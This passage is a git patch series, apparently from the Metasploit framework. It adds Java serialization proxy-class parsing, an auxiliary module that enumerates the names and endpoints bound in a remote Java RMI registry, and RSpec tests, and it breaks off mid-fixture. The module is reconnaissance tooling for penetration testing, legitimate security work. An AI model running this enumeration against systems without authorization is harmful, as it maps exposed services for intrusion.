+15,7 @@ module Rex autoload :Field, 'rex/java/serialization/model/field' autoload :LongUtf, 'rex/java/serialization/model/long_utf' autoload :NewArray, 'rex/java/serialization/model/new_array' + autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc' autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' autoload :NewEnum, 'rex/java/serialization/model/new_enum' autoload :NewObject, 'rex/java/serialization/model/new_object' diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb index ad69f58c1f..02ce6e2b11 100644 --- a/lib/rex/java/serialization/model/class_desc.rb +++ b/lib/rex/java/serialization/model/class_desc.rb @@ -24,7 +24,7 @@ module Rex # @raise [RuntimeError] if deserialization doesn't succeed def decode(io) content = decode_content(io, stream) - allowed_contents = [NullReference, NewClassDesc, Reference] + allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(content.class) raise ::RuntimeError, 'ClassDesc unserialize failed' @@ -40,7 +40,7 @@ module Rex # @raise [RuntimeError] if serialization doesn't succeed def encode encoded = '' - allowed_contents = [NullReference, NewClassDesc, Reference] + allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(description.class) raise ::RuntimeError, 'Failed to serialize ClassDesc' diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb index fae30ac689..b170fc4827 100644 --- a/lib/rex/java/serialization/model/contents.rb +++ b/lib/rex/java/serialization/model/contents.rb @@ -42,7 +42,7 @@ module Rex when TC_CLASSDESC content = NewClassDesc.decode(io, stream) when TC_PROXYCLASSDESC - raise ::RuntimeError, 'Failed to unserialize unsupported TC_PROXYCLASSDESC content' + content = ProxyClassDesc.decode(io, stream) when TC_REFERENCE content = Reference.decode(io, stream) when TC_NULL @@ -87,6 +87,8 @@ module Rex encoded << [TC_ENUM].pack('C') when NewClassDesc encoded << [TC_CLASSDESC].pack('C') + when ProxyClassDesc + content = [TC_PROXYCLASSDESC].pack('C') when NullReference encoded << [TC_NULL].pack('C') when Reset @@ -129,6 +131,8 @@ module Rex str << "#{print_class(content)} { #{content.to_s} }" when NewClassDesc str << "#{print_class(content)} { #{content.to_s} }" + when ProxyClassDesc + str << "#{print_class(content)} { #{content.to_s} }" when NullReference str << "#{print_class(content)}" when Reset diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index c665ebb593..79106523a0 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -12,16 +12,16 @@ module Rex # @!attribute class_name # @return [Rex::Java::Serialization::Model::Utf] The name of the class attr_accessor :class_name - # @!attribute name - # @return [Integer] The java class serial version + # @!attribute serial_version + # @return [Fixnum] The java class serial version attr_accessor :serial_version # @!attribute flags - # @return [Integer] The java class flags + # @return [Fixnum] The java class flags attr_accessor :flags # @!attribute fields # @return [Array] The java class fields attr_accessor :fields - # @!attribute fields + # @!attribute class_annotation # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations attr_accessor :class_annotation # @!attribute super_class @@ -39,7 +39,7 @@ module Rex self.super_class = nil end - # Deserializes a Rex::Java::Serialization::Model::ClassDescription + # Deserializes a Rex::Java::Serialization::Model::NewClassDesc # # @param io [IO] the io to read from # @return [self] if deserialization succeeds @@ -74,7 +74,6 @@ module Rex encoded = '' encoded << class_name.encode encoded << [serial_version].pack('Q>') - stream.add_reference(self) unless stream.nil? encoded << [flags].pack('C') encoded << [fields.length].pack('n') fields.each do |field| diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index cbd6f79761..b37025dacc 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -74,6 +74,8 @@ module Rex case class_desc.description when NewClassDesc str << class_desc.description.class_name.to_s + when ProxyClassDesc + str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',') when Reference str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) end diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb new file mode 100644 index 0000000000..ba9cb40169 --- /dev/null +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a ProxyClassDesc representation + class ProxyClassDesc < Element + + include Rex::Java::Serialization + + # @!attribute interfaces + # @return [Array] An array of interface names + attr_accessor :interfaces + # @!attribute class_annotation + # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations + attr_accessor :class_annotation + # @!attribute super_class + # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description + attr_accessor :super_class + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.interfaces = [] + self.class_annotation = nil + self.super_class = nil + end + + # Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + stream.add_reference(self) unless stream.nil? + + interfaces_length = decode_interfaces_length(io) + interfaces_length.times do + interface = Utf.decode(io, stream) + self.interfaces << interface + end + self.class_annotation = Annotation.decode(io, stream) + self.super_class = ClassDesc.decode(io, stream) + + self + end + + # Serializes the Rex::Java::Serialization::Model::ProxyClassDesc + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || + super_class.class == Rex::Java::Serialization::Model::ClassDesc + raise ::RuntimeError, 'Filed to serialize ProxyClassDesc' + end + encoded = '' + encoded << [interfaces.length].pack('N') + interfaces.each do |interface| + encoded << interface.encode + end + encoded << class_annotation.encode + encoded << super_class.encode + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = '[ ' + interfaces_str = [] + interfaces.each do |interface| + interfaces_str << interface.to_s + end + str << "#{interfaces_str.join(', ')} ]" + + case super_class.description + when NewClassDesc + str << ", @super_class: #{super_class.description.class_name.to_s}" + when Reference + str << ", @super_class: #{super_class.description.to_s}" + end + + str + end + + private + + # Deserializes the number of interface names + # + # @param io [IO] the io to read from + # @return [Fixnum] if deserialization is possible + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_interfaces_length(io) + fields_length = io.read(4) + if fields_length.nil? || fields_length.length != 4 + raise ::RuntimeError, 'Failed to unserialize ProxyClassDesc' + end + + fields_length.unpack('N')[0] + end + end + end + end + end +end diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb new file mode 100644 index 0000000000..cf9b59a94a --- /dev/null +++ b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb @@ -0,0 +1,115 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::ProxyClassDesc do + subject(:proxy_class_desc) do + described_class.new + end + + let(:sample) do + "\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" + + "\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" + + "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" + + "\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" + + "\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + + "\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" + + "\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70" + end + + let(:sample_io) { StringIO.new(sample) } + + describe ".new" do + it "Rex::Java::Serialization::Model::ProxyClassDesc" do + expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) + end + + it "initializes interfaces with empty Array" do + expect(proxy_class_desc.interfaces).to be_empty + end + + it "initializes class_annotation with nil" do + expect(proxy_class_desc.class_annotation).to be_nil + end + + it "initializes super_class with nil" do + expect(proxy_class_desc.super_class).to be_nil + end + end + + describe "#decode" do + it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do + expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) + end + + it "deserializes interfaces" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.interfaces.length).to eq(1) + end + + it "deserializes interfaces contents correctly" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello') + end + + it "deserializes class annotation correctly" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "deserializes class annotation contents" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference) + end + + it "deserializes super_class" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) + end + + it "deserializes super class description" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + end + + describe "#encode" do + it "serializes a ProxyClassDesc" do + field = Rex::Java::Serialization::Model::Field.new + field.type = 'object' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h') + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;') + super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new + super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy') + super_class_desc_new.serial_version = 0xe127da20cc1043cb + super_class_desc_new.flags = 2 + super_class_desc_new.fields << field + super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc.description = super_class_desc_new + + interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello') + proxy_class_desc.interfaces << interface + proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new + proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + proxy_class_desc.super_class = super_class_desc + + expect(proxy_class_desc.encode).to eq(sample) + end + end + + describe "#to_s" do + it "prints a sample NewClassDesc stream" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy') + end + end +end \ No newline at end of file From 1d69e15d1a5365ab794f5e662c75601e02f21111 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 16:19:55 -0500 Subject: [PATCH 20/58] Fix registry lookup parser --- lib/msf/java/rmi/client/registry/parser.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index 3b63bf428e..bac4b39cce 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -15,7 +15,14 @@ module Msf return nil end - return_value.value[0].class_desc.description.class_name.contents + case return_value.value[0].class_desc.description + when Rex::Java::Serialization::Model::NewClassDesc + return return_value.value[0].class_desc.description.class_name.contents + when Rex::Java::Serialization::Model::ProxyClassDesc + return return_value.value[0].class_desc.description.interfaces[0].contents + else + return nil + end end def parse_registry_list(return_value) From a7f12442517e0d55afe417520e58e487548f759d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 17:33:45 -0500 Subject: [PATCH 21/58] Finish the java_rmi_registry gather module --- lib/msf/java/rmi/client/registry/parser.rb | 31 ++++++++++++ lib/msf/java/rmi/util.rb | 47 +++++++++++++++++++ modules/auxiliary/gather/java_rmi_registry.rb | 41 ++++++++++++---- 3 files changed, 109 insertions(+), 10 deletions(-) diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index bac4b39cce..d60c29e408 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -25,6 +25,37 @@ module Msf end end + def parse_registry_lookup_endpoint(return_value) + if return_value.nil? || return_value.is_exception? + return nil + end + + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + ref = extract_string(return_io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(return_io) + return nil unless address + + port = extract_int(return_io) + return nil unless port + + object_number = extract_long(return_io) + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(return_io) + + {address: address, port: port, object_number: object_number, uid: uid} + end + def parse_registry_list(return_value) if return_value.nil? || return_value.is_exception? return nil diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index a1b8366518..5576dd9d7e 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -43,6 +43,53 @@ module Msf sha1.unpack('Q<')[0] end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('s>')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('l>')[0] + + int + end + + # Extracts a long from an IO + # + # @param io [IO] the io to extract the long from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_long(io) + int_raw = io.read(8) + unless int_raw && int_raw.length == 8 + return nil + end + int = int_raw.unpack('q>')[0] + + int + end end end end diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 6aa91130b7..256bf417b3 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -13,15 +13,19 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Java RMI Registry Endpoint Information Gathering', + 'Name' => 'Java RMI Registry Interfaces Enumeration', + 'Description' => %q{ + This module gathers information from an RMI endpoint running an RMI registry + interface. It enumerates the names bound into a registry and lookups each + remote reference. + }, 'Description' => 'Information gathering from Java RMI Registry endpoints', - 'Author' => ['juan vazquez'], + 'Author' => ['juan vazquez'], 'License' => MSF_LICENSE, - 'References' => + 'References' => [ - [ 'URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html'] - ], - 'DisclosureDate' => 'Mar 18 2015' + ['URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html'] + ] ) register_options( @@ -58,10 +62,27 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - #{names.length} names found in the Registry") names.each do |name| - object = send_registry_lookup(name: name) - next if object.nil? - print_good("#{peer} - name: #{name} remote object: #{object}") - #report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "#{name} / #{object}") + lookup_call = build_registry_lookup(name: name) + send_call(call: lookup_call) + return_value = recv_return + if return_value.nil? + print_error("#{peer} - Failed to lookup #{name}") + next + end + + remote_stub = parse_registry_lookup(return_value) + if remote_stub.nil? + print_error("#{peer} - Failed to lookup #{name}") + next + end + + location = parse_registry_lookup_endpoint(return_value) + if location.nil? + print_error("#{peer} - Failed to locate #{name} / #{remote_stub}") + end + + print_good("#{peer} - Name #{name} (#{remote_stub}) found on #{location[:address]}:#{location[:port]}") + report_service(:host => location[:address], :port => location[:port], :name => 'java-rmi', :info => "Name: #{name}, Stub: #{remote_stub}") end end end From b839547dc3c780f4081b77e5ea64923c81f3f25b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 17:57:21 -0500 Subject: [PATCH 22/58] Add documentation for Registry modules and methods --- lib/msf/java/rmi/client/registry.rb | 26 +++++++++++++++-- lib/msf/java/rmi/client/registry/builder.rb | 14 +++++++++ lib/msf/java/rmi/client/registry/parser.rb | 16 ++++++++++ lib/msf/java/rmi/util.rb | 1 + modules/auxiliary/gather/java_rmi_registry.rb | 29 +++++++------------ 5 files changed, 66 insertions(+), 20 deletions(-) diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb index 2e0a9e2e14..732a59b819 100644 --- a/lib/msf/java/rmi/client/registry.rb +++ b/lib/msf/java/rmi/client/registry.rb @@ -11,6 +11,12 @@ module Msf include Msf::Java::Rmi::Client::Registry::Builder include Msf::Java::Rmi::Client::Registry::Parser + # Sends a Registry lookup call to the RMI endpoint + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup def send_registry_lookup(opts = {}) send_call( sock: opts[:sock] || sock, @@ -21,11 +27,27 @@ module Msf sock: opts[:sock] || sock ) - remote_stub = parse_registry_lookup(return_value) + remote_object = parse_registry_lookup(return_value) - remote_stub + if remote_object.nil? + return nil + end + + remote_location = parse_registry_lookup_endpoint(return_value) + + if remote_location.nil? + return nil + end + + {object: remote_object}.merge(remote_location) end + # Sends a Registry list call to the RMI endpoint + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Array, NilClass] The set of names if success, nil otherwise + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list def send_registry_list(opts = {}) send_call( sock: opts[:sock] || sock, diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb index 3838348dfe..66723c660f 100644 --- a/lib/msf/java/rmi/client/registry/builder.rb +++ b/lib/msf/java/rmi/client/registry/builder.rb @@ -6,6 +6,14 @@ module Msf module Client module Registry module Builder + + # Builds an RMI call to java.rmi.registry.Registry.lookup() used to + # retrieve the remote reference bound to a name. + # + # @param opts [Hash] + # @option opts [String] :name the name to lookup + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call def build_registry_lookup(opts = {}) object_number = opts[:object_number] || 0 uid_number = opts[:uid_number] || 0 @@ -26,6 +34,12 @@ module Msf call end + # Builds an RMI call to java.rmi.registry.Registry.list() used to + # enumerate the names bound in a registry + # + # @param opts [Hash] + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call def build_registry_list(opts = {}) object_number = opts[:object_number] || 0 uid_number = opts[:uid_number] || 0 diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index d60c29e408..301b604c14 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -6,6 +6,12 @@ module Msf module Client module Registry module Parser + + # Parses a java.rmi.registry.Registry.lookup() return value to find out + # the remote object bound. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [String, NilClass] The remote object name if success, nil otherwise def parse_registry_lookup(return_value) if return_value.nil? || return_value.is_exception? return nil @@ -25,6 +31,11 @@ module Msf end end + # Parses a java.rmi.registry.Registry.lookup() return value to find out + # the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise def parse_registry_lookup_endpoint(return_value) if return_value.nil? || return_value.is_exception? return nil @@ -56,6 +67,11 @@ module Msf {address: address, port: port, object_number: object_number, uid: uid} end + # Parses a java.rmi.registry.Registry.list() return value to find out + # the list of names registered. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Array, NilClass] The list of names registered if success, nil otherwise def parse_registry_list(return_value) if return_value.nil? || return_value.is_exception? return nil diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index 5576dd9d7e..41ffef5093 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/java/serialization' require 'rex/text' + module Msf module Java module Rmi diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 256bf417b3..d467a6046c 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -19,7 +19,6 @@ class Metasploit3 < Msf::Auxiliary interface. It enumerates the names bound into a registry and lookups each remote reference. }, - 'Description' => 'Information gathering from Java RMI Registry endpoints', 'Author' => ['juan vazquez'], 'License' => MSF_LICENSE, 'References' => @@ -62,27 +61,21 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - #{names.length} names found in the Registry") names.each do |name| - lookup_call = build_registry_lookup(name: name) - send_call(call: lookup_call) - return_value = recv_return - if return_value.nil? + + remote_reference = send_registry_lookup(name: name) + + if remote_reference.nil? print_error("#{peer} - Failed to lookup #{name}") next end - remote_stub = parse_registry_lookup(return_value) - if remote_stub.nil? - print_error("#{peer} - Failed to lookup #{name}") - next - end - - location = parse_registry_lookup_endpoint(return_value) - if location.nil? - print_error("#{peer} - Failed to locate #{name} / #{remote_stub}") - end - - print_good("#{peer} - Name #{name} (#{remote_stub}) found on #{location[:address]}:#{location[:port]}") - report_service(:host => location[:address], :port => location[:port], :name => 'java-rmi', :info => "Name: #{name}, Stub: #{remote_stub}") + print_good("#{peer} - Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}") + report_service( + :host => remote_reference[:address], + :port => remote_reference[:port], + :name => 'java-rmi', + :info => "Name: #{name}, Stub: #{remote_reference[:object]}" + ) end end end From 6eecbc3de1fc43f4583bd8235a6a7439603e10be Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 18:24:31 -0500 Subject: [PATCH 23/58] Add specs for Msf::Java::Rmi::Client::Registry::Builder --- .../java/rmi/client/registry/builder_spec.rb | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/registry/builder_spec.rb diff --git a/spec/lib/msf/java/rmi/client/registry/builder_spec.rb b/spec/lib/msf/java/rmi/client/registry/builder_spec.rb new file mode 100644 index 0000000000..3dabb37979 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry/builder_spec.rb @@ -0,0 +1,72 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe ::Msf::Java::Rmi::Client::Registry::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_lookup) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x00" + end + let(:lookup_opts) do + { + name: 'test' + } + end + let(:name_lookup) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x04\x74\x65\x73\x74" + end + + let(:default_list_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + end + + describe "#build_registry_lookup" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_lookup).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for an empty name" do + expect(mod.build_registry_lookup.encode).to eq(default_lookup) + end + end + + context "when opts with name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_lookup(lookup_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for the provided name" do + expect(mod.build_registry_lookup(lookup_opts).encode).to eq(name_lookup) + end + end + end + + describe "#build_registry_list" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_registry_list).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_registry_list.encode).to eq(default_list_call) + end + end + end +end + From 6094d1bfb17a69dcbbc282c7cf01b6bc6b52ef7b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 19:07:03 -0500 Subject: [PATCH 24/58] Add specs for Msf::Java::Rmi::Client::Registry::Parser --- lib/msf/java/rmi/client/registry/parser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb index 301b604c14..bdc827d8f1 100644 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -10,7 +10,7 @@ module Msf # Parses a java.rmi.registry.Registry.lookup() return value to find out # the remote object bound. # - # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @param return_value [Rex::Proto::Rmi::Model::ReturnValue] # @return [String, NilClass] The remote object name if success, nil otherwise def parse_registry_lookup(return_value) if return_value.nil? || return_value.is_exception? From da51d2be674c46ece41cfdb5744879209f4735f5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 19:07:42 -0500 Subject: [PATCH 25/58] Really add specs for Msf::Java::Rmi::Client::Registry::Parser --- .../java/rmi/client/registry/parser_spec.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/registry/parser_spec.rb diff --git a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb new file mode 100644 index 0000000000..72107e3536 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry/parser_spec.rb @@ -0,0 +1,103 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Registry::Parser do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:lookup_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" + + "\x86\x47\x4c\x80\x65\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e\x6d" + + "\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" + + "\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49\x6d" + + "\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02\x02" + + "\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + + "\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74\x75" + + "\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72\x00" + + "\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72" + + "\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61\xb4" + + "\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a\x55" + + "\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e\x31" + + "\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x11\x96\x8a\xd0\x5a" + + "\x9e\xa1\xeb\x94\x3e\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d\x86\x47" + + "\x4c\x80\x01\x01\x78" + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:remote_object) { 'javax.management.remote.rmi.RMIServerImpl_Stub' } + let(:remote_interface) do + { + address: '172.16.158.132', + port: 4502, + object_number: -8444149663951776706 + } + end + + let(:list_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" + + "\x86\x47\x4c\x80\x66\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e" + + 